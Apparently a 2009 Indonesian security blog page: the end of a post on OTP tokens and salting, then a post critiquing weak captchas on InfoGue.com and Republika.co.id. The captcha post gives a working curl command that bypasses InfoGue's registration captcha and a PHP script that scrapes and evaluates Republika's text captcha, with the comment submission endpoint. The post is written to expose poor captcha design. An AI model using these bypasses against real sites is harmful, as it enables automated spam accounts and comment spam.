Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).

Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420  hingga EPOCH/10=780.

Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).

Umur OTP

Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response

Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.

Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.

otptoken2

Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.

Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “rahasia”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “rahasia81090273″ bukan “rahasia”.

Written by Rizki Wicaksono

July 27th, 2009 at 4:12 pm

Captcha Salah Kaprah di Republika.co.id dan InfoGue.com

without comments

Captcha kini menjadi andalan webmaster untuk membendung spam. Captca yang dimaksudkan untuk membedakan antara mesin dan manusia, tidak bisa dibuat secara sembarangan. Bila captcha dibuat sembarangan, maka fungsi dari captcha menjadi tidak ada karena mesin bisa dengan mudah menembusnya, bahkan mungkin justru mempersulit manusia. Dalam artikel ini saya akan menunjukkan dua contoh captcha yang salah kaprah karena  soal yang disajikan sulit dikerjakan manusia, namun mudah bagi mesin.

Bagaimana Seharusnya Captcha?

Captcha adalah soal yang dibuat oleh mesin dan dirancang hanya bisa dijawab dengan sempurna oleh manusia, bukan oleh mesin. Jadi sesuai definisi tersebut, captcha haruslah memiliki kriteria:

  • Tidak bisa dijawab mesin dengan sempurna
  • Mudah dijawab manusia

Captcha harus dirancang sedemikian hingga memenuhi kriteria di atas. Jadi kalau sampai ada captcha yang mempermudah mesin dan mempersulit manusia itu sebenarnya bukan captcha. Seperti apa bentuk captcha yang baik? Sebelumnya mari kita lihat dulu berbagai bentuk penyimpanan informasi.

Informasi dalam komputer bisa direpresentasikan dalam berbagai bentuk, mulai dari yang paling sederhana sampai paling kompleks:

  • Text
  • Image dan Suara
  • Video

Text adalah bentuk penyimpanan informasi paling primitif dan sederhana. Informasi yang diambil dari text tidak memerlukan pemrosesan apa-apa, sehingga bisa langsung diambil mesin. Mesin tidak akan mengalami kesulitan mendapatkan informasi dalam bentu text.

Bentuk yang lebih rumit lagi adalah image dan suara. Image dan suara dalam komputer disimpan dalam bentuk kumpulan warna pixel atau frekuensi suara kamudian diencode dalam format tertentu. Image dan suara mengandung informasi yang tersirat, implisit. Informasi dalam image dan suara harus  diproses dengan perhitungan dan komputasi yang kompleks untuk bisa menangkap informasi yang ada di dalamnya.

Bentuk yang paling kompleks lagi adalah video. Video adalah kumpulan image dan suara yang disusun sedemikian rupa sehingga menampilkan animasi. Walaupun memilii tingkat kompleksitas tertinggi, jarang ada captcha dalam bentuk video karena pertimbangan besarnya ukuran file video dibandingkan file gambar atau suara.

Jadi bentuk captcha yang paling umum adalah berupa image. Informasi dalam image tidak mudah dibaca mesin, namun dari segi ukuran juga tidak terlalu besar. Namun tidak semua captcha berupa image adalah captcha yang baik, karena bila kode dalam captcha terlalu bersih, mesin bisa membaca dengan sempurna. Silakan baca artikel saya tentang bagaimana menjebol catpcha dengan OCR (optical character reader).

Alur penyelesaian captcha biasanya terdiri dari 2 langkah. Langkah pertama adalah langkah menerima soal, browser meminta suatu halaman ke web server, kemudian web server mengirimkan form HTML dan captcha yang harus dijawab. Setelah pengguna mengisi form dan jawaban captchanya, langkah kedua adalah langkah menjawab soal. Browser mengirimkan POST submit beserta jawaban captcha kembali ke webserver. Gambar berikut menunjukkan alur umum penyelesaian captcha.

captcha flow

captcha flow

Captcha Salah Kaprah

Saya menemukan beberapa website yang menggunakan captcha yang saya sebut salah kaprah karena captcha tersebut bukannya mempersulit mesin, namun justru memudahkan mesin, bahkan mempersulit manusia. Seharusnya captcha tidak boleh mempersulit manusia, tapi harus mempersulit mesin.

Ternyata banyak juga webmaster yang masih kurang paham apa itu captcha dan bagaimana seharusnya captcha yang baik itu. Banyak webmaster yang hanya berpikir bahwa bila situsnya sudah diberi captcha, maka situsnya akan aman dari spammer. Padahal tidak semua captcha itu baik, captcha yang terlalu mudah dibaca mesin, tidak ada gunanya sama sekali, justru malah mempersulit pengguna dan membuat pengguna menjauhi situs tersebut.

Mari kita bahas contoh captcha salah kaprah pada situs republika dan infogue.

Breaking Captcha InfoGue.com

infoguelogo

Infogue.com adalah situs social bookmark lokal. Pengguna bisa memasukkan link untuk direview dan diberi point oleh pembaca yang lain. Social bookmark kini menjadi salah satu senjata andalan webmaster untuk mendongkrak popularitas situsnya dan meningkatkan pengunjung situs. Oleh karena itu situs social bookmark menjadi rawan akan serangan spammer yang ingin meningkatkan popularitas situsnya di search engine.

Dalam artikel ini akan saya contohnya bagaimana menembus captcha pada saat registrasi. Registrasi dilakukan dengan membuka URL http://www.infogue.com/registration/, kemudian pendaftar harus mengisi form pendaftaran, termasuk juga kode captcha. Berikut adalah tampilan web pada saat registrasi dilakukan.

captcha registrasi

captcha registrasi

Kesalahan 1: Captcha Terdiri dari 6 Gambar Terpisah

Pada gambar di atas terlihat pada saat registrasi, pendaftar harus memasukkan kode captcha. Hal ini dimaksudkan webmaster situs tersebut agar tidak ada mesin/robot yang coba-coba mendaftar. Tapi mari kita lihat lebih detil lagi captcha pada form tersebut. Bila captcha tersebut dilihat dengan Addon Web Developer di Firefox, akan terlihat bahwa sebenarnya captcha itu bukan satu image tunggal, melainkan terdiri dari 6 gambar terpisah. Perhatikan gambar berikut ini.

looks like one single image

looks like one single image

Gambar berikut ini adalah gambar bila captcha dilihat dengan Addon Web Developer.

6 different images

6 different images

Terlihat bahwa gambar diatas bahwa captcha tersebut sebenarnya adalah 6 gambar yang berbeda. Lebih parah lagi adalah nama file dari gambar tersebut mencerminkan kode dalam gambar tersebut, sebagai contoh adalah file bernama k.jpg untuk gambar berkode huruf “k”. Kalau kita lihat source code dari halaman registrasi tersebut, maka kita akan temukan nama-nama file gambar tersebut. Berikut adalah potongan source html dari halaman registrasi tersebut.

<tr>
<td><img src="http://www.infogue.com/submit/captcha/k.jpg"></td>
<td><img src="http://www.infogue.com/submit/captcha/3.jpg"></td>
<td><img src="http://www.infogue.com/submit/captcha/k.jpg"></td>
<td><img src="http://www.infogue.com/submit/captcha/d.jpg"></td>
<td><img src="http://www.infogue.com/submit/captcha/5.jpg"></td>
<td><img src="http://www.infogue.com/submit/captcha/n.jpg"></td>
</tr>

Dari source html tersebut terlihat jelas nama file gambar untuk setiap karakter captcha. Karena itu adalah source html, maka nama file tersebut tersaji dalam bentuk teks. Karena nama-nama file tersebut adalah jawaban dari captcha, maka untuk menembus captcha tersebut mesin hanya perlu membaca nama-nama file gambar dari source html yang didapatkan. Ingat bahwa bentuk penyimpanan informasi paling primitif adalah teks sehingga mesin tidak akan kesulitan untuk menjawab captcha tersebut karena mesin hanya perlu mendapatkan nama-nama filenya saja. Mesin tidak perlu sama sekali mendownload gambar capthanya, cukup tahu nama filenya saja dari source htmlnya saja untuk menjawab captcha dengan sempurna.

Kesalahan 2: Jawaban Disimpan dalam Hidden Field

Ternyata kesalahan captcha pada infogue bukan cuma itu, namun kesalahan yang lebih fatal lagi adalah menyimpan jawaban capctha dalam hidden field. Kalau kita perhatikan field-field pada form, maka ada field bertipe “hidden” yang bernama captcha_code. Dengan Addon Web Developer kita bisa melihat detil field pada form. Perhatikan gambar di bawah ini untuk melihat field dalam form.

captcha_code hidden field

captcha_code hidden field

Jadi selain dengan membaca nama file gambar seperti pada kesalahan 1 di atas, cara lain yang lebih mudah adalah dengan membaca isi hidden field captcha_code pada source htmlnya.

Kesalahan 3: Jawaban Captcha Bisa Apa Saja

Kesalahan ini adalah kesalahan yang paling aneh. Sebelumnya sudah saya sebutkan pada kesalahan ke-2 bahwa ada hidden field (“input type=hidden”) bernama captcha_code. Ternyata fungsi dari captcha_code ini adalah sebagai kunci jawaban dari captcha. Agar lebih jelas, mari kita lihat traffic HTTP yang terjadi ketika form registrasi disubmit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://www.infogue.com/registration/index.php
 
POST /registration/index.php HTTP/1.1
Host: www.infogue.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.2.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.infogue.com/registration/
Cookie: PHPSESSID=bc1c8c242bcae4dc408e4462d6561568; PHPSESSID=bc1c8c242bcae4dc408e4462d6561568
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
user_name=coba56789&email=coba56789%40testemail.com&passwordx=coba56789&passwordy=coba56789&name=coba56789&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba56789&country=US&code=vycpiq&captcha_code=vycpiq&register-terms=1&submit=lanjut

Perhatikan pada data yang disubmit, ada dua field penting yang terkait dengan captcha. captcha_code dan code. Kedua field ini isinya harus sama agar test captcha dikatakan sukses. Jadi sebenarnya kita tidak perlu menjawab captcha sesuai dengan soal yang diminta, kita bisa memberikan jawaban apa saja yang kita mau. Caranya adalah dengan mengisi captcha_code dan code dengan isi yang sama pada saat submit form data.

Sebelumnya saya sudah menjelaskan bahwa alur penyelesaian captcha terdiri dari 2 langkah, langkah menerima soal dan menjawab soal. Nah dengan kesalahan ini, maka kita tidak perlu tahu soalnya, kita bisa langsung mengirimkan (submit) form dan mengirimkan jawaban captcha apa saja yang kita mau. Gambar berikut menunjukkan alur penyelesaian captcha di infogue.

captcha flow infogue

captcha flow infogue

Mari kita coba untuk membuat user dengan command line di linux.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ curl -vvv -s "http://www.infogue.com/registration/" -d "user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba126&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba126&country=US&code=sukasuka&captcha_code=sukasuka&register-terms=1&submit=lanjut"
* About to connect() to www.infogue.com port 80
*   Trying 202.6.233.86... connected
* Connected to www.infogue.com (202.6.233.86) port 80
> POST /registration/ HTTP/1.1
> User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: www.infogue.com
> Accept: */*
> Content-Length: 241
> Content-Type: application/x-www-form-urlencoded
>
> user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba126&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba126&country=US&code=sukasuka&captcha_code=sukasuka&register-terms=1&submit=lanjut
 
< HTTP/1.1 302 Found
< Date: Mon, 18 May 2009 09:58:09 GMT
< Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch13
< X-Powered-By: PHP/5.2.0-8+etch13
< Set-Cookie: PHPSESSID=4fa4fd914ae3ac923c6206ffe0e69a82; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Set-Cookie: PHPSESSID=4fa4fd914ae3ac923c6206ffe0e69a82; expires=Wed, 17-Jun-2009 09:58:09 GMT; path=/; domain=.infogue.com
< Location: http://www.infogue.com/user/coba128/
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host www.infogue.com left intact
* Closing connection #0

Terlihat bahwa respons dari server adalah HTTP 302 ke /user/[username], hal ini menunjukkan bahwa pendaftaran berhasil. Lihat betapa mudahnya membuat user baru tanpa peduli dengan captcha. Hanya dengan membuat POST request dan mengisi captcha dengan “sukasuka”. Jadi perintah di Linux untuk membuat user di infogue sangat sederhana:

curl -s "http://www.infogue.com/registration/" -d "user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba128&gender=1&day=01&month=1&year=2000&poscode=12312&location=manasaja&country=US&code=sukasuka&captcha_code=sukasuka&register-terms=1&submit=lanjut"

Breaking Captcha Republika.co.id
republikalogo

Satu lagi website yang menggunakan captcha yang salah kaprah adalah Republika. Website koran ini memakai captcha agar artikel di webnya tidak dimasuki comment spam. Gambar di bawah ini menunjukkan contoh spam dan source htmlnya.

republika captcha

republika captcha

Captcha dalam bentuk soal matematika ini sangat mudah diselesaikan oleh mesin karena soal ditulis dalam bentuk teks html biasa. Seperti yang sudah kita ketahui bahwa teks adalah bentuk penyimpanan informasi yang paling primitif sehingga sangat mudah dibaca oleh mesin. Jadi kesalahan dari captcha di website republika adalah menggunakan teks sebagai captcha.

Berikut ini adalah script php sederhana yang mengambil berita di website republika kemudian menyelesaikan soal captchanya.

1
2
3
4
5
6
7
8
9
10
11
<?php
$url = "http://www.republika.co.id/berita/51040/Ibra_masih_Buka_Peluang_Pergi";
$str = file_get_contents($url);
$pos1 = strpos($str,"security_text_area");
$pos2 = strpos($str,">",$pos1+1);
$pos3 = strpos($str,"<",$pos2+1);
$equation = trim(substr($str,$pos2+1,$pos3-$pos2-1));
$equation = str_replace(" ", "", $equation);
eval("\$hasil=$equation;");
print $equation."=".$hasil."\n";
?>

Mari kita coba jalankan script di atas sebanyak 10 kali. Berikut hasilnya:

1
2
3
4
5
6
7
8
9
10
11
$ for i in `seq 1 10`;do php republika.php ;done
3+1=4
6-0=6
9+8=17
3+6=9
9-3=6
2+9=11
4-4=0
9-3=6
8+7=15
1-8=-7

Setelah menyelesaikan captcha, langkah kedua adalah langkah mengirimkan jawaban soal ke webserver. Jawaban dikirimkan dalam bentuk POST request ke http://www.republika.co.id/E3/saveCommentar bersama dengan cookie dan field berikut:
nama=[NamaKomentator]&email=&website=&news_id=51223&komentar=[isikomentar]&secCode=[JawabanCaptcha]&commit=

Written by Rizki Wicaksono

May 19th, 2009 at 11:30 am

Posted in captcha,Web Security